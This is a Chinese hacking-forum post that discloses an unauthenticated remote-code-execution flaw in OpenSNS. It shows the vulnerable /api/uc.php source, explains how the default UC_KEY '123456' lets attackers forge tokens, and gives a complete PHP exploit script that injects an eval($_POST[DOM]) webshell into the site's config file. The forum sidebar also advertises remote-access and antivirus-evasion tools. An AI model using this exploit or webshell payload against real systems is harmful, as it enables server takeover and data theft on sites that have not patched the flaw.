HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: juk小乖
查看: 104|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式
2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!HACK80远控 免杀的 账号密码打包 每天都发账号 回帖要。可改密码!
2017年中旬WEB渗透系列课程-16解析漏洞演示2017年中旬WEB渗透系列课程-16解析漏洞演示
2017年中旬WEB渗透系列课程-15XSS绕过集合2017年中旬WEB渗透系列课程-15XSS绕过集合
2017年中旬WEB渗透系列课程-14XSS能干什么2017年中旬WEB渗透系列课程-14XSS能干什么
2017年中旬WEB渗透系列课程-13XSS漏洞检测2017年中旬WEB渗透系列课程-13XSS漏洞检测
2017年中旬WEB渗透系列课程-12XSS分析及演示2017年中旬WEB渗透系列课程-12XSS分析及演示

opensns最新版10.20无限制Getshell

[复制链接]
juk小乖 发表于 2017-10-12 16:35:33 | 显示全部楼层 |阅读模式
查看: 104|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上
  1. 43-48行
  2.         $code = @$_GET['code'];
  3.         parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
  4.         if(MAGIC_QUOTES_GPC) {
  5.                 $get = _stripslashes($get);
  6.         }
复制代码
变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
我们再来看函数_authcode
  1. function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  2.         $ckey_length = 4;

  3.         $key = md5($key ? $key : UC_KEY);
  4.         $keya = md5(substr($key, 0, 16));
  5.         $keyb = md5(substr($key, 16, 16));
  6.         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  7.         $cryptkey = $keya.md5($keya.$keyc);
  8.         $key_length = strlen($cryptkey);

  9.         $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  10.         $string_length = strlen($string);

  11.         $result = '';
  12.         $box = range(0, 255);

  13.         $rndkey = array();
  14.         for($i = 0; $i <= 255; $i++) {
  15.                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  16.         }

  17.         for($j = $i = 0; $i < 256; $i++) {
  18.                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  19.                 $tmp = $box[$i];
  20.                 $box[$i] = $box[$j];
  21.                 $box[$j] = $tmp;
  22.         }

  23.         for($a = $j = $i = 0; $i < $string_length; $i++) {
  24.                 $a = ($a + 1) % 256;
  25.                 $j = ($j + $box[$a]) % 256;
  26.                 $tmp = $box[$a];
  27.                 $box[$a] = $box[$j];
  28.                 $box[$j] = $tmp;
  29.                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  30.         }

  31.         if($operation == 'DECODE') {
  32.                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  33.                         return substr($result, 26);
  34.                 } else {
  35.                                 return '';
  36.                         }
  37.         } else {
  38.                 return $keyc.str_replace('=', '', base64_encode($result));  //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK!那么就会CMS就会出现问题
复制代码
而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php
  1. 239-260行
  2.         function updateapps($get, $post) {
  3.                 if(!API_UPDATEAPPS) {
  4.                         return API_RETURN_FORBIDDEN;
  5.                 }
  6.                 $UC_API = $post['UC_API'];

  7.                 //note 写 app 缓存文件
  8.                 $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';
  9.                 $fp = fopen($cachefile, 'w');
  10.                 $s = "<?php\r\n";
  11.                 $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
  12.                 fwrite($fp, $s);
  13.                 fclose($fp);

  14.                 //note 写配置文件
  15.                 if(is_writeable($this->appdir.'api/config.php')) {
  16.                         $configfile = trim(file_get_contents($this->appdir.'api/config.php'));
  17.                         $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
  18.                         $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);  //修复漏洞  --駿濤
  19.                         if($fp = @fopen($this->appdir.'api/config.php', 'w')) {
  20.                                 @fwrite($fp, trim($configfile));
  21.                                 @fclose($fp)
复制代码
又看到这一句
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤
这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码
我们开启UC在/api/config.php
define('UC_SYNC', 1); 设为1就为开启
Getshell
  1. <?php

  2. // 代码版权归原作者所有!

  3.     $timestamp = time()+10*3600;

  4.     $host="localhost";

  5.     $uc_key="123456";

  6.     $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

  7.     $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

  8. <root>

  9. <item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>

  10. </root>';

  11.     $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

  12. <root>

  13. <item id="UC_API">http://localhost/ucenter</item>

  14. </root>';

  15.     $html1 = send($cmd1);

  16.     echo $html1;

  17.     $html2 = send($cmd2);

  18.     echo $html2;





  19. function send($cmd){

  20.     global $host,$code;

  21.     $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";

  22.     $message .= "Accept: */*\r\n";

  23.     $message .= "Referer: ".$host."\r\n";

  24.     $message .= "Accept-Language: zh-cn\r\n";

  25.     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

  26.     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

  27.     $message .= "Host: ".$host."\r\n";

  28.     $message .= "Content-Length: ".strlen($cmd)."\r\n";

  29.     $message .= "Connection: Close\r\n\r\n";

  30.     $message .= $cmd;



  31.     //var_dump($message);

  32.     $fp = fsockopen($host, 80);

  33.     fputs($fp, $message);



  34.     $resp = '';



  35.     while ($fp && !feof($fp))

  36.         $resp .= fread($fp, 1024);



  37.     return $resp;

  38. }



  39. function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

  40.         $ckey_length = 4;



  41.         $key = md5($key ? $key : UC_KEY);

  42.         $keya = md5(substr($key, 0, 16));

  43.         $keyb = md5(substr($key, 16, 16));

  44.         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



  45.         $cryptkey = $keya.md5($keya.$keyc);

  46.         $key_length = strlen($cryptkey);



  47.         $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

  48.         $string_length = strlen($string);



  49.         $result = '';

  50.         $box = range(0, 255);



  51.         $rndkey = array();

  52.         for($i = 0; $i <= 255; $i++) {

  53.                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);

  54.         }



  55.         for($j = $i = 0; $i < 256; $i++) {

  56.                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;

  57.                 $tmp = $box[$i];

  58.                 $box[$i] = $box[$j];

  59.                 $box[$j] = $tmp;

  60.         }



  61.         for($a = $j = $i = 0; $i < $string_length; $i++) {

  62.                 $a = ($a + 1) % 256;

  63.                 $j = ($j + $box[$a]) % 256;

  64.                 $tmp = $box[$a];

  65.                 $box[$a] = $box[$j];

  66.                 $box[$j] = $tmp;

  67.                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

  68.         }



  69.         if($operation == 'DECODE') {

  70.                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

  71.                         return substr($result, 26);

  72.                 } else {

  73.                                 return '';

  74.                         }

  75.         } else {

  76.                 return $keyc.str_replace('=', '', base64_encode($result));

  77.         }



  78. }

  79. ?>
复制代码

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-17 12:13 , Processed in 0.062289 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.